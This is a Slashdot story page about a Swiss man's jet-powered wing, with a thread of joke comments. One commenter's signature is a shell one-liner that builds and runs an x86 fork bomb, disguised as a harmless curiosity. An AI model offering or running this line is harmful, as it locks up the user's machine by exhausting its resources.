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Swiss Man Flies With Jet Powered Wing

Posted by timothy on from the no-passenger-airbags-no-hybrid-engine dept.

NotBornYesterday writes "After spending $190,000 and 'countless hours' building a set of jet-powered wings, a Swiss man has successfully demoed this ultimate mother-of-all-toys. After jumping from a plane like a skydiver, he then lit the four jet engines and proceeded to fly around a valley in the Alps at up to 186 miles per hour. His site is here, if you want to see shots of him in action. 'I still haven't used the full potential,' he said."

36 of 247 comments (clear)

  1. Well... by BlueStrat · · Score: 3, Funny

    I for one welcome our new jet-winged Swiss overlord.

    Cheers!

    Strat

    FP?

    --
    Progressivism (aka US 'Liberalism'): Ideas so good they need a police/surveillance-state to enforce.
    1. Re:Well... by phyruxus · · Score: 5, Funny

      I hear the Brits developed this technology in the mid-80's, but abandoned it when they could not find a way to make it leak oil.

      With apologies to britons and MG lovers everywhere.

      --
      "A witty saying proves nothing." ~Voltaire
      "d'Oh!" ~Homer
    2. Re:Well... by ozbird · · Score: 3, Funny

      That's not an oil leak - it's rust-proofing.

  2. Just don't get too close to the sun by Anonymous Coward · · Score: 4, Funny

    This ought to be fun. Might even turn into a sport or extreme recreational activity. But just remember what happened to the last person who got too close the sun ...

  3. Jetpack! by vecctor · · Score: 4, Funny

    This is the one time where people could legitimately use the term "jetpack" and then the submitter and TFA choose not to!

    Looks very cool.

    --
    Why, yes I have been touched by His noodly appendage. And I plan to sue.
  4. Wait... what? by Anonymous Coward · · Score: 3, Funny

    "The German-built model aircraft engines he currently uses already provide 200 pounds of thrust, enough to allow Rossy and his 120-pound flying suit to climb through the air."

    So... he weighs less than 80 pounds?

    1. Re:Wait... what? by jd · · Score: 4, Funny

      Well, that depends on the exchange rate at the time.

      --
      It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
    2. Re:Wait... what? by countSudoku() · · Score: 3, Funny

      It says he's using four engines there in the summary. That's 8,000,000,000lbs of thrust by my calculations! ;)

      --
      This is the NSA, we're gonna geet U h@x0r5! Also, what is a h@x0r5?
    3. Re:Wait... what? by speculatrix · · Score: 4, Funny

      you really gotta stop using that old Intel Pentium for your math!

    4. Re:Wait... what? by Yvan256 · · Score: 4, Funny

      You work for the RIAA/MPAA, right?

    5. Re:Wait... what? by beav007 · · Score: 2, Funny

      It's either that or Excel 2007...

  5. Re:That's all very interesting by mrbluze · · Score: 3, Funny

    but can he get a first post?

    Well he would be getting frosty piss at that height.

    But I want to know if he can run.. err.. fly.. Linux!

    --
    Do it yourself, because no one else will do it yourself. [beta blockade 10-17 Feb]
  6. Famous last words... by HydraSwitch · · Score: 5, Funny

    'I still haven't used the full potential,' he said.

    Feh.

    Definitely famous last words.

  7. misread it by B3ryllium · · Score: 4, Funny

    I initially misread it as "Jet Powered Wang".

    1. Re:misread it by geekoid · · Score: 4, Funny

      I'll take two.

      --
      The Kruger Dunning explains most post on /. http://en.wikipedia.org/wiki/Dunning%E2%80%93Kruger_effect
  8. Making Sense by Nom+du+Keyboard · · Score: 5, Funny

    at up to 186 miles per hour.

    I gather that this number makes some sense in metric.

    --
    "It's the height of ridiculousness to say for those 9 lines you get hundreds of millions."
  9. The slashdot zeitgeist. by argent · · Score: 3, Funny

    Man, you just don't get the slashdot zeitgeist. Old news is an essential part of the whole experience.

    PS: http://www.youtube.com/watch?v=2fLOgMQon7c

    1. Re:The slashdot zeitgeist. by argent · · Score: 2, Funny

      I liked his "fuel tanks", too. Puncture one of those in flight, have your jet fuel soaking down your leg from a bladder belted to your belly towards a running jet engine strapped to your foot... great balls of fire!

    2. Re:The slashdot zeitgeist. by Missing_dc · · Score: 3, Funny

      I understand the sado and the necro bit, but why are you dragging bestiality into it?

      Would not the correct term be "Equine Necrosadism"?

      At no point in beating a dead horse should your zipper drop.

      sicko.

      --
      How amazed would you be to suddenly find that you just forgot what I wrote and you needed to reread my post.... again.
    3. Re:The slashdot zeitgeist. by argent · · Score: 2, Funny

      At no point in beating a dead horse should your zipper drop.

      Slashdot would be a kinder and gentler place if more people kept that in mind.

  10. How does he land? by Nick+Driver · · Score: 2, Funny

    Well... very carefully of course.

  11. Re:It is pretty old by Anonymous Coward · · Score: 5, Funny

    Parachutes and paragliders tend to be unpredictable and are not particularly safe, doubly so at speeds exceeding sound
    Please mod up +1 informative. I had no idea that parachutes and paragliders were unsafe when flown at 770 mph.
  12. Re:Darwin awards by somersault · · Score: 4, Funny

    The problem being that the windchill permanently damaged his balls, so that scuppers that plan!

    Okay, okay, so I'm just kidding - I know not the actual condition of his balls.

    --
    which is totally what she said
  13. Re:Landing? by rrohbeck · · Score: 4, Funny

    With a parachute. Even though you'd think a pair of rollerblades should be sufficient.
    --
    thegodmovie.com - watch it
  14. Re:It is pretty old by binarybum · · Score: 4, Funny

    I do. Have you flown on commercial aircraft recently? I'd rather get tugged behind jet-man on a rope.

    --
    ôó
  15. Re:Landing? by Yvan256 · · Score: 4, Funny

    I don't know how, but he only does it once.

  16. Uh oh by Ihmhi · · Score: 4, Funny

    Hobgoblin in 3... 2...

    --
    Random Thoughts From A Diseased Mind (Not For Dummies)
  17. Acme Jet Powered Wings by schmoe.joey · · Score: 1, Funny

    I think this concept was proven fatally wrong by Mr. Wiley Coyote while hunting RoadRunners...

  18. Re:Landing? by grassy_knoll · · Score: 4, Funny

    Wiley Coyote, is that you?

    --
    A Human Right
  19. ACME Jet Powered Wing Pack by catdevnull · · Score: 4, Funny

    Didn't I see Wyle E. Coyote with one of these?

    If the Swiss man flew this into a mountain side with a tunnel painted on it, I wouldn't be surprised at all.

    --

    I might know what I'm talkin' about, but then again, this is Slashdot...
  20. Re:OFN? by at_slashdot · · Score: 4, Funny

    That's nothing, I'm pretty sure that I've seen Wile E. Coyote using such a product designed by Acme long time ago...

    --
    "It is our choices, Harry, that show what we truly are, far more than our abilities." -- Prof. Dumbledore
  21. Re:OFN? by 4D6963 · · Score: 4, Funny

    Oh that gives me an idea! What about we give bombs small wings and jet engines so they could reach from like 20 miles away a target much faster than a plane!? I propose we call these new type of jet-powered bombs "missiles".

    --
    You just got troll'd!
  22. Re:OFN? by MrMr · · Score: 4, Funny

    If I were considering dropping large mammals from a bigger plane I would not use a seal but I'd use a sperm whale.

    http://www.youtube.com/watch?v=MsK6aRuSBIc

    or a bowl of petunias.

  23. Re:OFN? by Hal_Porter · · Score: 2, Funny

    They'd be quite stealthy due to their size and low altitude, but they don't need to be. Sheer numbers would overwhelm enemy air defenses. Hey, I've just realised that this strategy would be the US Zerg Rushing China or North Korea. Oh the irony.
    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  24. Re:OFN? by stoofa · · Score: 2, Funny

    Swiss Man Flies With Jet Powered Wing?

    Swiss Man Flies WITHOUT Jet Powered Wing.

    Now THAT is a story.

  25. Re:OFN? by rarel · · Score: 4, Funny

    Oh no, not again...